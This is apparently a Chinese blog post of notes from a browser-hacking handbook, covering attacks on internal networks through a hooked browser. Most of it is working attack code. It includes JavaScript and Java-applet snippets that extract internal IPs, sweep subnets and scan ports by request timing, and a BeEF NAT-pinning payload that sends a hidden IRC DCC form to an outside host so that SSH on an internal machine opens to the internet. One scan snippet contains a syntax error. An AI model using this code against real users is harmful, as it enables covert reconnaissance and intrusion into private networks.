攻擊網絡

識別目標

識別勾連瀏覽器的內部IP

JavaScript可以生成Java調用,從而通過JRE瀏覽器插件來執行。甚至還可以實例化Java的java.net.Socket類。通過這個類,JavaScript可以取得瀏覽器的內部IP和主機名稱。

示例

  • 在Firefox 15之前的版本提取內部IP地址和主機名稱
    var sock = new java.net.Socket();
    var ip = "";
    var hostname = "";
    try {
    	sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));     //在本地計算機打開一個監聽端口
    	sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));     //連接
      ip = sock.getLocalAddress().getHostAddress();    //獲取IP
      hostname = sock.getLocalAddress().getHostName();    //獲取主機名稱
    }
    

工具

  • BeEF的Get System Info命令模塊

識別勾連瀏覽器的子網

示例

//默認網關IP地址
var ranges = [
'192.168.0.0','192.168.1.0',
'192.168.2.0','192.168.10.0',
'192.168.100.0','192.168.123.0',
'10.0.0.0','10.0.1.0',
'10.1.1.0'
];
var discovered_hosts = [];
// XHR超時
var timeout = 5000;

function doRequest(host) {
	var d = new Date;
	var xhr = new XMLHttpRequest();
	xhr.onreadystatechange = processRequest;
	xhr.timeout = timeout;
	
	function processRequest(){
		if(xhr.readyState == 4){
			var time = new Date().getTime() - d.getTime();
			var aborted = false;
			// 如果調用window.stop(),觸發的是abort
			// http://www.w3.org/TR/XMLHttpRequest/#event-handlers
			xhr.onabort = function(){
				aborted = true;
			}
			
			xhr.onloadend = function(){
				if(time < timeout){
					// abort總在onloadend之前觸發
					if(time > 10 && aborted === false){
						console.log('Discovered host ['+host+'] in ['+time+'] ms');
						discovered_hosts.push(host);
					}
				}
			}
		}
	}
	
	xhr.open("GET", "http://" + host, true);
	xhr.send();
}

var start_time = new Date().getTime();
function checkComplete(){
	var current_time = new Date().getTime();
	if((current_time - start_time) > timeout + 1000){
		// 結束掛起的XHR,尤其是在Chrome中
		window.stop();
		clearInterval(checkCompleteInterval);
		console.log("Discovered hosts:\n" + discovered_hosts.join("\n"));
	}
}

var checkCompleteInterval = setInterval(function(){checkComplete()}, 1000);
for (var i = 0; i < ranges.length; i++) {
	// 以下代碼返回像192.168.0之類的
	var c = ranges[i].split('.')[0]+'.'+ ranges[i].split('.')[1]+'.'+ ranges[i].split('.')[2]+'.';
	// 對ranges數組中的每一項,請求最常見的網關IP,類似:
	// 192.168.0.1, 192.168.0.100, 192.168.0.254
	doRequest(c + '1');
	doRequest(c + '100');
	doRequest(c + '254');
}

ping sweep

使用XMLHttpRequest

通過檢測XHR的耗時確定某個IP有沒有主機,WebWorker執行的代碼如下

var xhr_timeout, subnet;
// 設置範圍 下限 = 1 (192.168.0.1) 上限 = 50 (192.168.0.50) to_scan = 50
var lowerbound, upperbound, to_scan;
var scanned = 0;
var start_time;

/* 配置來自初始化WebWorker的代碼(上層)*/
onmessage = function (e) {
	xhr_timeout = e.data['xhr_timeout'];
	subnet = e.data['subnet'];
	lowerbound = e.data['lowerbound'];
	upperbound = e.data['upperbound'];
	to_scan = (upperbound-lowerbound)+1;
	// 調用scan()併發送請求
	scan();
	start_time = new Date().getTime();
};

function checkComplete(){
	current_time = new Date().getTime();
	// 檢查當前時間對Chrome是必要的
	// 因爲有些XHR可能因爲主機下線而需要較長時間才能返回
	if(scanned === to_scan || (current_time - start_time) > xhr_timeout){
		clearInterval(checkCompleteInterval);
		postMessage({'completed':true});
		self.close(); //close the worker
	}else{
		// 並不是所有XHR都會完成/超時
	}
}

function scan(){
	// 以下代碼返回192.168.0.
	var c = subnet.split('.')[0]+'.'+ subnet.split('.')[1]+'.'+ subnet.split('.' [2]+'.';
	function doRequest(url) {
		var d = new Date;
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = processRequest;
		xhr.timeout = xhr_timeout;
		function processRequest(){
			if(xhr.readyState == 4){
				var d2 = new Date;
				var time = d2.getTime() - d.getTime();
				scanned++;
				if(time < xhr_timeout){
					if(time > 10){
						postMessage({'host':url,'time':time, 'completed':false});
					}
				} else {
					// 主機不在線
				}
			}
		}
		xhr.open("GET", "http://" + url, true);
		xhr.send();
	}
	
	for (var i = lowerbound; i <= upperbound; i++) {
		var host = c + i;
		doRequest(host);
	}
}

var checkCompleteInterval = setInterval(function(){checkComplete()}, 1000);

使用Java

示例:(對JRE 1.6x及以下版本有效,或使用未簽名的小程序)

import java.applet.Applet;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.List;

public class pingSweep extends Applet {
	public static String ipRange = "";
	public static int timeout = 0;
	public static List<InetAddress> hostList;
	public pingSweep() {
		super();
		return;
	}
	
	public void init(){
		ipRange = getParameter("ipRange");
		timeout = Integer.parseInt(getParameter("timeout"));
	}
	
	// JS中調用
	public static int getHostsNumber(){
		try{
			hostList = parseIpRange(ipRange);
		}catch(UnknownHostException e){}
		return hostList.size();
	}
	
	// JS中調用
	public static String getAliveHosts(){
		String result = "";
		try{
			result = checkHosts(hostList);
		}catch(IOException io){}
		return result;
	}

	private static List<InetAddress> parseIpRange(String ipRange)
	throws UnknownHostException {
		List<InetAddress> addresses = new ArrayList<InetAddress>();
		if (ipRange.indexOf("-") != -1) {
			// 多個IP,ipRange類似172.31.229.240-172.31.229.250
			String[] ips = ipRange.split("-");
			String[] octets = ips[0].split("\\.");
			int lowerBound = Integer.parseInt(octets[3]);
			int upperBound = Integer.parseInt(ips[1].split("\\.")[3]);
			for (int i = lowerBound; i <= upperBound; i++) {
				String ip = octets[0] + "." + octets[1] + "." + octets[2] + "." + i;
				addresses.add(InetAddress.getByName(ip));
			}
		}else{ // 單個IP ipRange類似172.31.229.240
			addresses.add(InetAddress.getByName(ipRange));
		}
		return addresses;
	}
	
	// 驗證主機是否在線,設置超時
	private static String checkHosts(List<InetAddress> inetAddresses)
	throws IOException {
		String alive = "";
		for (InetAddress inetAddress : inetAddresses) {
			if (inetAddress.isReachable(timeout)) {
				alive += inetAddress.toString() + "\n";
			}
		}
		return alive;
	}
}

將上面的代碼注入勾連瀏覽器:

var ipRange = "192.168.0.1-192.168.0.254";
var timeout = "2000";
var appletTimeout = 30;
var output = "";
var hostNumber = 0;
var internal_counter = 0;

beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep', "http://"+beef.net.host+":"+beef.net.port+"/", null, [{'ipRange':ipRange, 'timeout':timeout}]);

function waituntilok() {
	try {
		hostNumber = document.pingSweep.getHostsNumber();
		if(hostNumber != null && hostNumber > 0){
		// 查詢小程序,取回有效主機
			output = document.pingSweep.getAliveHosts();
			clearTimeout(int_timeout);
			clearTimeout(ext_timeout);
			console.log('Alive hosts: '+output);
			beef.dom.detachApplet('pingSweep');
			return;
		}
	}catch(e){
		internal_counter++;
		if(internal_counter > appletTimeout){
			console.log('Timeout after '+appletTimeout+' seconds');
			beef.dom.detachApplet('pingSweep');
			return;
		}
		int_timeout = setTimeout(function() {waituntilok()},1000);
	}
}
ext_timeout = setTimeout(function() {waituntilok()},5000);

掃描端口

可靠的JavaScript端口掃描程序:

scanPort: function(callback, target, port, timeout){
	var timeout = (timeout == null)?100:timeout;
	var img = new Image();
	
	img.onerror = function () {
		if (!img) return;
		img = undefined;
		callback(target, port, 'open');
	};
	
	img.onload = img.onerror;
	// 注意,用了http://
	img.src = 'http://' + target + ':' + port;
	setTimeout(function () {
		if (!img) return;
		img = undefined;
		callback(target, port, 'closed');
	}, timeout);
},

// ports_str應該會像"80,8080,8443"之類的
scanTarget: function(callback, target, ports_str, timeout){
	var ports = ports_str.split(",");
	for (index = 0; index < ports.length; index++) {
		this.scanPort(callback, target, ports[index], timeout);
	};
}

繞過端口封禁

端口封禁:屏蔽對22、25、110或143等特殊端口的請求,以防止瀏覽器向運行在已知端口上的服務發出請求。

使用IMG標籤掃描端口

示例代碼:

function http_scan(start, protocol_, hostname, port_){
	var img_scan = new Image();
	img_scan.onerror = function(evt){
		var interval = (new Date).getTime() - start;
		if (interval < closetimeout){
			if (process_port_http == false){
				port_status_http = 1; // closed
				console.log('Port ' + port_ + ' is CLOSED');
				clearInterval(intID_http);
			}
			process_port_http = true;
		}
	};
	
	// 對onerror和onload事件調用同樣的處理程序
	img_scan.onload = img_scan.onerror;
	img_scan.src = protocol_ + hostname + ":" + port_;
	intID_http = setInterval(function(){
		var interval = (new Date).getTime() - start;
		if (interval >= opentimeout){
			if (!img_scan) return;
			img_scan = undefined;
			if (process_port_http == false){
				port_status_http = 2; // open
				process_port_http = true;
			}
			clearInterval(intID_http);
			console.log('Port ' + port_ + ' is OPEN ');
		}
	}, 1);
}

var protocol = 'http://';
var hostname = "172.16.37.147";

var process_port_http = false;
var port_status_http = 0; // unknown

var opentimeout = 2500;
var closetimeout = 1100;

var ports = [80,5432,9090];

for(var i=0; i<ports.length; i++){
	var start = (new Date).getTime();
	http_scan(start, protocol, hostname, ports[i]);
}

分佈式端口掃描

使用BeEF實現

採集非HTTP服務的指紋

主要分爲以下幾種方法:

  • 端口掃描技術
  • 分析請求時間(很難區分版本,但可能能檢測不同的實現)
    • 分析服務請求關閉TCP連接所耗費的時間
  • 實現IPC(協議間通信)請求

攻擊非HTTP服務

NAT Pinning

涉及強制網關設備(比如SOHO路由器)動態爲入站連接打開一個端口,而該連接會連到一個位於內部網絡的系統。

  • 先決條件:路由器必須支持連接跟蹤以實現NAT穿越,而且路由器應該允許出站流量
IRC NAT Pining

滿足條件的路由器iptables配置:

# DEF
OUTIF=eth0
LANIF=eth1
LAN=192.168.0.0/24

# MODULE
modprobe ip_conntrack
modprobe ip_conntrack_ftp
modprobe iptable_nat

# 清理
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

# 內核變量
echo 1 > /proc/sys/net/ipv4/ip_forward

# 不限流量
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# 默認策略
iptables --policy INPUT DROP
iptables --policy OUTPUT DROP
iptables --policy FORWARD DROP

# 之前初始化和接受的
# 繞過規則檢查
# 不限出站流量
iptables -A OUTPUT -m state --state
NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state
ESTABLISHED,RELATED -j ACCEPT

# 放開LAN的入站流量
iptables -A INPUT -i $LANIF -j ACCEPT

# NAT
##########
iptables -t nat -A POSTROUTING -o $OUTIF -j MASQUERADE

# 初始化和接受的WAN到LAN通信
iptables --append FORWARD -m state --state
ESTABLISHED,RELATED -i $OUTIF -o $LANIF -j ACCEPT

# 不限LAN到WAN的出站通信
iptables --append FORWARD -m state --state
NEW,ESTABLISHED,RELATED -o $OUTIF -i $LANIF -j ACCEPT
iptables -A INPUT -j LOG --log-level debug
iptables -A INPUT -j DROP
iptables -A FORWARD -j LOG --log-level debug
iptables -A FORWARD -j DROP

允許從WAN接口到內網192.168.0.70上的入站連接:

var privateip = '192.168.0.70';
var privateport = '22';
var connectto = 'browserhacker.com';

function dot2dec(dot){
	var d = dot.split('.');
	return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]);
}

var myIframe = beef.dom.createInvisibleIframe();
var myForm = document.createElement("form");
var action = "http://" + connectto + ":6667/"

myForm.setAttribute("name", "data");
myForm.setAttribute("method", "post");
myForm.setAttribute("enctype", "multipart/form-data");
myForm.setAttribute("action", action);

//創建DCC消息
x = String.fromCharCode(1);
var message = 'PRIVMSG beef :'+x+'DCC CHAT beef '+ dot2dec(privateip)+' '+privateport+x+"\n";

//創建消息文本區域
var myExt = document.createElement("textarea");
myExt.setAttribute("id","msg_1");
myExt.setAttribute("name","msg_1");
myForm.appendChild(myExt);
myIframe.contentWindow.document.body.appendChild(myForm);

//發送消息
myIframe.contentWindow.document.getElementById("msg_1").value = message;
myForm.submit();

實現協議間通信

爲了實現兩個不同協議間的通信,必須滿足以下兩個條件:

  • 目標協議實現中的容錯
  • 將目標協議數據封裝到HTTP請求中的能力
參考文獻

《黑客攻防技術寶典——瀏覽器》

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章